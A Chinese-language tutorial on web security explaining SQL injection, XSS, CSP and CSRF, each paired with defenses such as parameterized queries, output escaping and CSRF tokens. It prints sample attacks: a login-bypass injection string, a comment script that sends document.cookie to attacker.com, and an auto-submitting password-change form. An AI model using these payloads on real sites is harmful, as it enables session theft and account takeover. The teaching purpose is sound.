常见web安全问题及防护措施
Web安全是指在Web应用程序的开发、部署、维护和使用过程中,通过采取一系列安全措施,保障Web应用程序的安全性,防范黑客攻击、数据泄漏、身份认证不当等安全问题。在本篇中,我们将介绍一些常见的Web安全问题及防护原理。
sql注入原理
SQL注入是一种常见的网络攻击方式,攻击者利用这种方式,可以在应用程序中执行恶意的SQL查询,从而获取敏感数据、更改数据甚至获取系统权限。其原理主要涉及到以下两个方面:
-
输入验证不严格:当应用程序未对用户输入的数据进行严格的验证和过滤时,攻击者可以在输入框中输入特殊的SQL语句,从而欺骗数据库执行恶意的SQL查询。
-
SQL语句拼接:当应用程序在SQL查询中使用了用户输入的变量,但没有对其进行过滤和转义时,攻击者可以在输入框中输入包含恶意代码的变量值,使得SQL查询语句被篡改并执行,从而达到攻击的目的。
举个例子,假设一个应用程序使用以下SQL语句查询用户名和密码
SELECT * FROM users WHERE username = '${username}' AND password = '${password}';
如果攻击者在用户名输入框中输入如下字符串
' or 1=1--
则SQL查询语句会变成
SELECT * FROM users WHERE username = '' or 1=1 -- ' AND password = '$password';
实际查询的是
SELECT * FROM user;
其中,-- 表示注释掉后面的内容,1=1 恒成立,因此这个查询会返回所有用户的数据,攻击者就可以通过这种方式获取敏感数据。
上面的情况如何解决呢?
防范SQL注入攻击的方法主要包括
-
输入验证和过滤:对所有用户输入的数据进行验证和过滤,确保它们符合预期的格式和内容,包括长度、数据类型、特殊字符等。
-
使用参数化的SQL查询:避免使用用户输入的变量拼接SQL语句,而是使用参数化的SQL查询方式,将变量值作为参数传递给SQL查询语句,从而避免SQL注入攻击。
-
最小权限原则:为数据库用户分配最小权限,确保它们只能访问所需的数据和操作,而不能对整个数据库进行操作。
使用参数化的SQL查询(1和3好理解,具体说下第二种)
参数化的 SQL 查询方式是一种预处理语句的方式,通过将变量值作为参数传递给 SQL 查询语句,从而避免了直接将用户输入的变量拼接到 SQL 查询语句中的安全隐患,提高了系统的安全性。
举个例子,就改写上面的那条SQL
SELECT * FROM users WHERE username = ? AND password = ?;
其中的 ? 是占位符,用来表示将要传递给 SQL 查询的变量值。在代码中,使用数据库驱动提供的 API,将变量值作为参数传递给查询语句即可,具体代码实现如下:
const username = req.body.username;
const password = req.body.password;
// 使用参数化的 SQL 查询
connection.query('SELECT * FROM users WHERE username = ? AND password = ?', [username, password], function (error, results, fields) {
if (error) {
console.log(error);
res.status(500).send('Server error');
} else {
if (results.length > 0) {
res.send('Login succeeded');
} else {
res.send('Invalid username or password');
}
}
});
这里使用了 ? 占位符来代替原来的 ${username} 和 ${password}拼接的形式,并将 username 和 password 的值作为第二个参数传递给 query 函数,以实现参数化的 SQL 查询。这种方式可以有效地避免 SQL 注入攻击。
解释一下,使用了? 如果username传的还是' or 1=1--代码最终会变成
//不用参数化查询
SELECT * FROM users WHERE username = '' or 1=1 -- ' AND password = 'xxxx'
//用了参数化
SELECT * FROM users WHERE username = "' or 1=1--" AND password = 'xxx';
即使用户名输入了 or 1=1--,也不会造成 SQL 注入攻击,因为该字符串会被作为参数而不是直接拼接到 SQL 查询语句中,这样做可以比较好的避免 SQL 注入攻击。
XSS (Cross-Site Scripting,跨站脚本攻击)
XSS (Cross-Site Scripting)是一种常见的 Web 安全漏洞,它允许攻击者将恶意代码注入到页面中,从而可以盗取用户信息、会话信息,甚至控制受害者的浏览器。
简单的XSS例子
<div class="comment">
<p>这是一条评论。</p>
<script>
alert("您的账户已被攻击!");
var img = new Image();
img.src = "http://attacker.com/steal?cookie=" + document.cookie;
</script>
</div>
假设有一个留言板应用程序,用户可以在其中发布留言,并查看其他人发布的留言。该应用程序可能包含一个表单,用于提交留言。表单包含一个文本框,用户可以在其中输入留言内容,并通过POST请求将留言发送到服务器。服务器接收到留言后,将其存储在数据库中,并将其显示在留言板页面上。
攻击者可能会在留言内容中注入恶意的JavaScript代码。例如,他的留言包含以下内容:
<script>
alert("您的账户已被攻击!");
var img = new Image();
img.src = "http://attacker.com/steal?cookie=" + document.cookie;
</script>
当其他用户浏览留言板页面加载到这条评论时,这段JavaScript代码会自动执行,并弹出一个警告框,显示攻击者定义的消息。在这种情况下,攻击者利用了浏览器执行JavaScript的能力,将恶意代码注入到网站中,从而实现了XSS攻击。
防范XSS注入攻击的方法主要包括:
- 输入过滤和验证:在输入数据时对用户输入进行严格的过滤和验证,防止用户输入恶意脚本。
- 输出转义:将用户输入的特殊字符进行转义,比如将
<转义为<,将>转义为>,避免浏览器将其识别为标签。 - HTTP-only Cookie:使用 HTTP-only Cookie 来存储会话 ID,避免 JavaScript 脚本获取到 Cookie 中的信息。
- CSP:使用 Content Security Policy (CSP) 来限制网页中可以执行的脚本和资源的来源,避免恶意脚本的注入。
- 对不可信数据进行限制:比如对来自用户的输入数据、第三方插件、服务端返回的数据等进行限制,避免恶意脚本的注入。
讲解下CSP如何阻止XSS
Content Security Policy (CSP) 是一种用于增强 Web 应用程序安全性的技术,它通过限制浏览器如何执行外部资源(例如脚本、样式表、字体等)来防止恶意代码注入攻击。CSP 主要是通过在 HTTP 响应头中设置相关的安全策略来实现的。因此,为了启用 CSP,需要在服务器上对应用程序进行配置。
具体来说,需要在服务器上配置一个 CSP 策略文件,该文件规定了哪些外部资源是被允许的,哪些是被禁止的。这个策略文件可以包括以下几个方面的内容:
- default-src:定义默认情况下允许加载的资源来源。
- script-src:定义允许加载 JavaScript 的资源来源。
- style-src:定义允许加载 CSS 样式表的资源来源。
- img-src:定义允许加载图片的资源来源。
- font-src:定义允许加载字体的资源来源。
- connect-src:定义允许向服务器发起请求的来源。
- media-src:定义允许加载音频和视频的资源来源。
- object-src:定义允许加载插件的资源来源。
- frame-src:定义允许加载框架的资源来源。
配置完毕后,将该 CSP 策略文件的 URL 添加到应用程序的 HTTP 响应头中,即可生效。注意不是所有浏览器都支持它。在使用 CSP 时,需要仔细了解各种浏览器的支持情况,并做出相应的兼容性处理。
仅靠前端也可以实现CSP,但不可靠
前端可以使用meta标签来设置CSP策略。
在HTML文档的head标签中添加一个meta标签,内容为CSP策略字符串即可。
例如,以下代码将允许来自同一域名下的所有资源(包括脚本、样式和图片):
<meta http-equiv="Content-Security-Policy" content="default-src 'self'">
需要注意的是,使用meta标签设置CSP策略只能提供一定程度的保护,因为攻击者可以通过篡改响应头绕过这种限制。最好的做法是在服务器端设置CSP策略,并采用合适的选项来控制策略的强度和灵活性。
CSRF(Cross-Site Request Forgery,跨站请求伪造)
CSRF 攻击是通过利用用户在目标网站上已有的会话来执行欺骗性请求,攻击者可以通过各种方式,如伪造表单、跳转链接、Flash 等来构造恶意请求,从而欺骗用户在不知情的情况下执行某些操作。
一个完整的 CSRF 攻击流程:
- 用户登录银行网站并在浏览器中保持登录状态,获取到银行网站的认证凭据(比如 session ID),这些凭据通常被保存在浏览器的 cookie 中。
- 攻击者创建一个恶意网站,其中包含一个隐藏的表单和 JavaScript 代码,表单中的数据和请求目标与银行网站上的转账表单一致。
- 当用户访问恶意网站时,JavaScript 代码会自动提交表单到银行网站,触发转账操作。由于用户在银行网站上的登录状态仍然有效,攻击者通过手段拿到银行网站相关的 cookie 信息,使银行网站认为该请求来自于合法的会话。
- 银行网站在没有任何用户交互的情况下,根据请求中的信息,执行了一次转账操作,将钱款转移到了攻击者指定的账户中。
总体来说就是
- 登录受信任网站
A,并在本地生成Cookie - 在不登出
A的情况下,访问危险网站B
因为是讲概念,所以有个地方还是要说明:
A,B站不同网站会存在跨域问题,所以要想拿到A的信息,还是需要注入一些恶意代码,才可以通过这些代码窃取用户的cookie信息,才可以通过这些代码窃取用户的cookie信息。
简单CSRF示例:
现在假设攻击者已经创建了一个恶意网站,并且想要利用CSRF攻击来窃取该网站用户的身份验证信息。攻击者可以创建一个包含以下HTML代码的页面,向受害者发送恶意链接这么一个页面:
<html>
<body>
<form action="https://www.example.com/account/change_password" method="POST">
<input type="hidden" name="password" value="attacker_password">
<input type="submit" value="Change Password">
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
在该HTML代码中,攻击者创建了一个伪造的表单,该表单的操作地址指向受害者的账户密码更改页面。攻击者还设置了一个隐藏的input元素,其中包含攻击者自己的新密码,这个密码将被提交到受害者的账户中。最后,攻击者使用JavaScript代码自动提交表单,该代码在表单加载后立即执行。
总的来说:
攻击者诱骗用户点击一个链接或打开一个恶意网页,该网页中含有欺骗性请求的代码或链接,导致用户在不知情的情况下向目标网站发送请求,从而实现 CSRF 攻击。攻击者可以通过各种手段引导用户点击该链接或打开该网页,例如发送电子邮件、社交媒体信息、即时消息等。
如何防止 CSRF 攻击
-
随机生成 token: 当用户访问某个页面时,服务器为该用户生成一个随机的 token,并将该 token 存储在服务器端和用户的 session 中。在表单提交时,该 token 会随表单一起提交。当服务器接收到表单时,会验证该 token 是否与 session 中存储的相同,以此判断是否是合法请求。攻击者很难获得与之匹配的 token,从而无法进行伪造。 -
检查来源地址:服务器可以检查请求的来源地址是否为合法的站点。如果请求的来源地址与服务器期望的不同,服务器可以拒绝该请求。这种方法可以防止攻击者直接构造请求,但无法防止攻击者通过 XSS 攻击来实现 CSRF 攻击。 -
在 HTTP 请求头中加入 token: 服务器可以在 HTTP 请求头中加入一个自定义的 token,以确保只有合法请求才会包含该 token。攻击者无法获取该 token,因此无法伪造合法请求。这种方法需要在客户端和服务器端同时实现。 -
适当限制 cookie 的使用范围:服务器可以在设置 cookie 时,将 cookie 的使用范围限制在该站点下。这样就可以避免一个站点的 cookie 被其他站点使用,减少被攻击的可能性。
总结
-
sql注入:就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。 -
XSS:攻击者往Web页面里插入恶意html标签或者javascript代码。比如:攻击者在论坛中放一个看似安全的链接,骗取用户点击后,窃取cookie中的用户私密信息。 -
CSRF:CSRF攻击是一种利用受害者在已登录的情况下对被攻击网站发起恶意请求的攻击方式,攻击者通常会使用一些技巧来欺骗用户在攻击者的网站上执行某些动作,例如通过诱骗用户点击恶意链接、通过电子邮件发送欺诈性的信息等。
End
不足之处,请谅解